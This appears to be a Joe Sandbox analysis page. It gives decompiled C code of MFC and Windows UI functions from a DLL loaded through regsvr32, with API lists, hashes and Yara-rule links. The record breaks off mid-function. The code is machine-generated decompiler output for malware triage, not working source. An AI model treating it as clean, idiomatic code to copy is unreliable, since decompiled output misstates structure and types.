API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction ID: 74b272bfbd302397870cb0a2abf86f81c97ca9371361d4e5ce15514e9afb48cd
Opcode Fuzzy Hash: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction Fuzzy Hash: E8F01C71940748ABE730BF728D49B47BAE5FFC4B10F12092ED2858BA90E6B6E041DF40

Uniqueness

Uniqueness Score: -1.00%

Function 10028DE5, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10028DE5() {
				long _t5;
				int _t6;

				if((0x80000000 & GetVersion()) == 0 || GetVersion() != 4) {
					_t5 = GetVersion();
					if((0x80000000 & _t5) != 0) {
						L5:
						 *0x1005acc4 =  *0x1005acc4 & 0x00000000;
						return _t5;
					}
					_t5 = GetVersion();
					if(_t5 != 3) {
						goto L5;
					}
					goto L4;
				} else {
					L4:
					_t6 = RegisterWindowMessageA("MSWHEEL_ROLLMSG");
					 *0x1005acc4 = _t6;
					return _t6;
				}
			}

0x10028df6
0x10028e00
0x10028e04
0x10028e20
0x10028e20
0x00000000
0x10028e20
0x10028e06
0x10028e0c
0x00000000
0x00000000
0x00000000
0x10028e0e
0x10028e0e
0x10028e13
0x10028e19
0x00000000
0x10028e19

APIs

GetVersion.KERNEL32 ref: 10028DED
GetVersion.KERNEL32 ref: 10028DF8
GetVersion.KERNEL32 ref: 10028E00
GetVersion.KERNEL32 ref: 10028E06
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 10028E13

Strings

MSWHEEL_ROLLMSG, xrefs: 10028E0E

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction ID: a1cfe5ae80d7d924f96357e0403be069d270e7200ca7c890729efff85db7b39d
Opcode Fuzzy Hash: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction Fuzzy Hash: 34E0D83E80213792F700A374AD0034939D5DB442E0F930066ED0042258CB24098747A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000C209, Relevance: 9.1, APIs: 6, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E1000C209(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t37;
				signed int _t54;
				intOrPtr _t57;
				long _t60;
				struct HWND__* _t63;
				CHAR* _t64;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				long _t73;
				void* _t74;
				void* _t75;
				signed int _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t71 = __edx;
				_t79 = _t81 - 0x9c;
				_t37 =  *0x10057a08; // 0xe6b5ff6d
				 *(_t79 + 0x98) = _t37 ^ _t79;
				_t73 =  *(_t79 + 0xa4);
				_t77 = 0;
				 *((intOrPtr*)(_t79 - 0x80)) =  *((intOrPtr*)(_t79 + 0xa8));
				E1000C12A(0);
				_t67 = _t72;
				_t63 = E1000C15E(0, _t79 - 0x70);
				 *(_t79 - 0x7c) = _t63;
				if(_t63 !=  *(_t79 - 0x70)) {
					EnableWindow(_t63, 1);
				}
				 *(_t79 - 0x78) =  *(_t79 - 0x78) & _t77;
				GetWindowThreadProcessId(_t63, _t79 - 0x78);
				if(_t63 == 0 ||  *(_t79 - 0x78) != GetCurrentProcessId()) {
					L6:
					__eflags = _t73;
					if(__eflags != 0) {
						_t77 = _t73 + 0x78;
					}
					goto L8;
				} else {
					_t60 = SendMessageA(_t63, 0x376, 0, 0);
					if(_t60 == 0) {
						goto L6;
					} else {
						_t77 = _t60;
						L8:
						 *(_t79 - 0x74) =  *(_t79 - 0x74) & 0x00000000;
						if(_t77 != 0) {
							 *(_t79 - 0x74) =  *_t77;
							_t57 =  *((intOrPtr*)(_t79 + 0xb0));
							if(_t57 != 0) {
								 *_t77 = _t57 + 0x30000;
							}
						}
						if(( *(_t79 + 0xac) & 0x000000f0) == 0) {
							_t54 =  *(_t79 + 0xac) & 0x0000000f;
							if(_t54 <= 1) {
								_t24 = _t79 + 0xac;
								 *_t24 =  *(_t79 + 0xac) | 0x00000030;
								__eflags =  *_t24;
							} else {
								if(_t54 + 0xfffffffd <= 1) {
									 *(_t79 + 0xac) =  *(_t79 + 0xac) | 0x00000020;
								}
							}
						}
						_t96 = _t73;
						 *(_t79 - 0x6c) = 0;
						if(_t73 == 0) {
							_t64 = _t79 - 0x6c;
							_t73 = 0x104;
							__eflags = GetModuleFileNameA(0, _t64, 0x104) - 0x104;
							if(__eflags == 0) {
								 *((char*)(_t79 + 0x97)) = 0;
							}
						} else {
							_t64 =  *(_t73 + 0x50);
						}
						_push( *(_t79 + 0xac));
						_push(_t64);
						_push( *((intOrPtr*)(_t79 - 0x80)));
						_push( *(_t79 - 0x7c));
						_t74 = E1000C093(_t64, _t67, _t73, _t77, _t96);
						if(_t77 != 0) {
							 *_t77 =  *(_t79 - 0x74);
						}
						if( *(_t79 - 0x70) != 0) {
							EnableWindow( *(_t79 - 0x70), 1);
						}
						E1000C12A(1);
						_pop(_t75);
						_pop(_t78);
						_pop(_t65);
						return E100167D5(_t74, _t65,  *(_t79 + 0x98) ^ _t79, _t71, _t75, _t78);
					}
				}
			}

0x1000c209
0x1000c20a
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0x00000000
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0x00000000
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0x1000c317
0x1000c318
0x1000c31b
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0x1000c33c
0x1000c33c
0x1000c344
0x1000c352
0x1000c353
0x1000c356
0x1000c363
0x1000c363
0x1000c28b

APIs

Part of subcall function 1000C15E: GetParent.USER32(100014EC), ref: 1000C1B1
Part of subcall function 1000C15E: GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
Part of subcall function 1000C15E: IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
Part of subcall function 1000C15E: EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

EnableWindow.USER32(?,00000001), ref: 1000C256
GetWindowThreadProcessId.USER32(?,?), ref: 1000C264
GetCurrentProcessId.KERNEL32 ref: 1000C26E
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 1000C283
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1000C300
EnableWindow.USER32(?,00000001), ref: 1000C33C

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID:
API String ID: 1877664794-0
Opcode ID: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction ID: 906afa4fd5bad6b09c7d7bb12576003d117f5a582180c2333a3862cf80afbe79
Opcode Fuzzy Hash: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction Fuzzy Hash: A1416A32A0035C9FFB31CFA58C85FDD7BA8EF05390F210129E949AB286D7709A408B50

Uniqueness

Uniqueness Score: -1.00%

Function 1000C15E, Relevance: 9.1, APIs: 6, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C15E(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t7;
				void* _t13;
				struct HWND__** _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				_t17 = _t18;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t17, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t16 = _t17;
						_t7 = _t17;
						if(_t17 == 0) {
							L10:
							if(_t18 == 0 && _t17 != 0) {
								_t17 = GetLastActivePopup(_t17);
							}
							_t15 = _a8;
							if(_t15 != 0) {
								if(_t16 == 0 || IsWindowEnabled(_t16) == 0 || _t16 == _t17) {
									 *_t15 =  *_t15 & 0x00000000;
								} else {
									 *_t15 = _t16;
									EnableWindow(_t16, 0);
								}
							}
							return _t17;
						} else {
							goto L9;
						}
						do {
							L9:
							_t16 = _t7;
							_t7 = GetParent(_t7);
						} while (_t7 != 0);
						goto L10;
					}
					_t17 = GetParent(_t17);
					L7:
					if(_t17 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t13 = E1000C087();
				if(_t13 != 0) {
					L4:
					_t17 =  *(_t13 + 0x20);
					goto L7;
				}
				_t13 = E1000A7CE();
				if(_t13 != 0) {
					goto L4;
				}
				_t17 = 0;
				goto L8;
			}

0x1000c166
0x1000c16e
0x1000c170
0x1000c18d
0x1000c19b
0x1000c1a6
0x1000c1a8
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0x1000c1f0
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0x1000c1e6
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0x1000c1d2
0x1000c1f9
0x00000000
0x00000000
0x00000000
0x1000c1ae
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0x1000c1af
0x1000c1b1
0x1000c1b3
0x00000000
0x1000c1ae
0x1000c1a0
0x1000c1a2
0x1000c1a4
0x00000000
0x00000000
0x00000000
0x1000c1a4
0x1000c172
0x1000c179
0x1000c188
0x1000c188
0x00000000
0x1000c188
0x1000c17b
0x1000c182
0x00000000
0x00000000
0x1000c184
0x00000000

APIs

GetWindowLongA.USER32 ref: 1000C190
GetParent.USER32(100014EC), ref: 1000C19E
GetParent.USER32(100014EC), ref: 1000C1B1
GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction ID: b03ffd99d979528eb1576ebd7f6c5d6629826c0934e428a14188cd3025a76a69
Opcode Fuzzy Hash: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction Fuzzy Hash: CC11A33264533A57F221DB698C80F9A72ECDF4BAD0F260129FC44E329ADB60DC0242D5

Uniqueness

Uniqueness Score: -1.00%

Function 1001411A, Relevance: 9.0, APIs: 6, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1001411A(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0 && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

0x10014129
0x10014135
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0x00000000
0x00000000
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0x10014163
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0x00000000
0x10014188
0x10014175
0x10014177
0x10014179
0x10014179
0x10014185

APIs

ClientToScreen.USER32(?,?), ref: 10014129
GetDlgCtrlID.USER32 ref: 1001413D
GetWindowLongA.USER32 ref: 1001414B
GetWindowRect.USER32 ref: 1001415D
PtInRect.USER32(?,?,?), ref: 1001416D
GetWindow.USER32(?,00000005), ref: 1001417A

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction ID: 106842abd73dbf2249684b53af78e8d9c6ae05809ec90903e9ae8d6f26667822
Opcode Fuzzy Hash: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction Fuzzy Hash: AA014F36500126BBDB12DF658C48EDE77ACEF15791F124114F911AA1A0DB30DA82CA94

Uniqueness

Uniqueness Score: -1.00%

Function 10012406, Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E10012406(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t122;
				void* _t128;
				intOrPtr _t130;
				signed int _t139;
				signed int _t144;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t183;
				signed int _t187;
				void* _t190;
				intOrPtr _t191;
				signed int _t201;

				_t190 = __ecx;
				_t122 = E1000D5EC(__ebx, __edi, __esi, __eflags);
				_v8 = _t122;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t122 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t201 = 0;
				E100174D0(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t128 = E1000D5EC(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t128 + 8));
				_t130 =  *0x1005aa70; // 0x10003
				_t187 = 8;
				_v32 = _t130;
				_v16 = _t187;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd80s";
					_t183 = E10012222(_t187, _t190, 0, 0, __eflags);
					__eflags = _t183;
					if(_t183 != 0) {
						_t201 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl80s";
					_t181 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t181;
					if(_t181 != 0) {
						_t201 = _t201 | 0x00000020;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar80s";
					_v28 = 0x10;
					_t179 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t179;
					if(_t179 != 0) {
						_t201 = _t201 | 0x00000002;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t187;
					_v28 = 0;
					_t177 = E100123C5(_t190, __eflags,  &_v56, "AfxMDIFrame80s", 0x7a01);
					__eflags = _t177;
					if(_t177 != 0) {
						_t201 = _t201 | 0x00000004;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & _t187;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t175 = E100123C5(_t190, __eflags,  &_v56, "AfxFrameOrView80s", 0x7a02);
					__eflags = _t175;
					if(_t175 != 0) {
						_t201 = _t201 | _t187;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x40);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x80);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t187;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x100);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x200);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x400);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x800);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x1000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x2000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x4000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x8000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x10000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
					_v12 = 0x100;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x20000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x40000);
					__eflags = _t201;
				}
				_t191 = _v8;
				 *(_t191 + 0x18) =  *(_t191 + 0x18) | _t201;
				_t139 =  *(_t191 + 0x18);
				__eflags = (_t139 & 0x00003fc0) - 0x3fc0;
				if((_t139 & 0x00003fc0) == 0x3fc0) {
					 *(_t191 + 0x18) = _t139 | 0x00000010;
					_t201 = _t201 | 0x00000010;
					__eflags = _t201;
				}
				asm("sbb eax, eax");
				_t144 =  ~((_t201 & _a4) - _a4) + 1;
				__eflags = _t144;
				return _t144;
			}

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APIs

_memset.LIBCMT ref: 10012434

Strings

AfxFrameOrView80s, xrefs: 100124FA
@, xrefs: 100125D9
AfxMDIFrame80s, xrefs: 100124D5
@, xrefs: 10012540

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView80s$AfxMDIFrame80s
API String ID: 2102423945-4122032997
Opcode ID: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction ID: 475a3f3acc0ffbf0912b6f4f501dab117ae518df3bc7e116c44220daacf7d2ae
Opcode Fuzzy Hash: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction Fuzzy Hash: 658130B5D00259AADB41CFA4C581BDEBBF8FF08384F118165F949EA181E774DAD4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 100017E0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1000C4C7: _memset.LIBCMT ref: 1000C4DE

_strlen.LIBCMT ref: 100018FF
_strlen.LIBCMT ref: 10001971
_strlen.LIBCMT ref: 100019B6
LoadIconA.USER32 ref: 100019FD

Strings

127.0.0.1, xrefs: 100018E8, 100018FA, 1000190E

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: _strlen$IconLoad_memset
String ID: 127.0.0.1
API String ID: 858515944-3619153832
Opcode ID: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction ID: 391a885bd144bb184e99009df4bcd3f8a2a5cd6933164126564d3f2e09fb5126
Opcode Fuzzy Hash: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction Fuzzy Hash: 835106B4D04298DBEB14CFA4D891B9DBBB1EF44344F1081A9E50D6B386DB356E44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1001486F, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E1001486F(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				void* __ebp;
				signed int _t54;
				void* _t66;
				short* _t70;
				signed int _t72;
				signed int _t81;
				signed int* _t83;
				short* _t84;
				void* _t91;
				signed int* _t98;
				signed int _t99;
				void** _t100;
				intOrPtr _t102;
				signed int _t104;
				signed int _t106;
				void* _t107;

				_t101 = __esi;
				_t97 = __edx;
				_t82 = __ebx;
				_t54 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t54 ^ _t106;
				_t100 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E100146B2(_t83);
					_t102 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t102;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t66 = 0;
					} else {
						_t97 = _t102 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t97;
						if(_t97 < _t102) {
							goto L15;
						} else {
							_t70 = E100146DD(_t83);
							_t91 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t81 = E100169F6(_t84 + _t102);
								_t97 = _v76;
								_t91 = _t102 + 2 + _t81 * 2;
							}
							_t33 = _t97 + 3; // 0x3
							_t98 = _v84;
							_t36 = _t84 + 3; // 0x10002
							_t72 = _t91 + _t36 & 0xfffffffc;
							_t104 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t99 =  *(_t98 + 8) & 0x0000ffff;
							} else {
								_t99 =  *(_t98 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t91 || _t99 <= 0) {
								L17:
								 *_t84 = _a8;
								_t97 =  &_v72;
								E100147F2(_t84 + _v92, _t100, _t104, _t106, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t100[1] = _t100[1] + _t104 - _v80;
								GlobalUnlock( *_t100);
								_t100[2] = _t100[2] & 0x00000000;
								_t66 = 1;
							} else {
								_t97 = _t100[1];
								_t95 = _t97 - _t72 + _v84;
								if(_t97 - _t72 + _v84 <= _t97) {
									E100147F2(_t84, _t100, _t104, _t106, _t104, _t95, _t72, _t95);
									_t107 = _t107 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t101);
					_pop(_t82);
				} else {
					_t66 = 0;
				}
				return E100167D5(_t66, _t82, _v8 ^ _t106, _t97, _t100, _t101);
			}

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0x00000000
0x10014966
0x10014953
0x10014909
0x100149ad
0x100149ae
0x1001488e
0x1001488e
0x1001488e
0x100149bb

APIs

GlobalLock.KERNEL32 ref: 10014899
lstrlenA.KERNEL32(?), ref: 100148E1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 100148FB

Strings

System, xrefs: 10014895

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWidelstrlen
String ID: System
API String ID: 1529587224-3470857405
Opcode ID: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction ID: 74ffa1d7f554f06ed3380e5a1b3eb1278af2c0b09513685a0b874fafc39ddc5e
Opcode Fuzzy Hash: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction Fuzzy Hash: FA41B271D00225DFDB04DFA4C885AAEBBB5FF04354F268129E411EF195EB70E986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000B3AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E1000B3AF(void* __edx, signed int _a116, char _a120) {
				void _v12;
				char _v16;
				signed int _v20;
				int _v24;
				char _v124;
				char _v172;
				intOrPtr _v184;
				int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				signed int _t26;
				unsigned int _t28;
				intOrPtr _t35;
				unsigned int _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t43;
				signed int _t45;

				_t45 =  &_v124;
				_t26 =  *0x10057a08; // 0xe6b5ff6d
				_a116 = _t26 ^ _t45;
				_push(_t43);
				_push(_t42);
				_t28 = GetMenuCheckMarkDimensions();
				_t38 = _t28;
				_t39 = _t28 >> 0x10;
				_v24 = _t39;
				if(_t28 <= 4 || __ecx <= 5) {
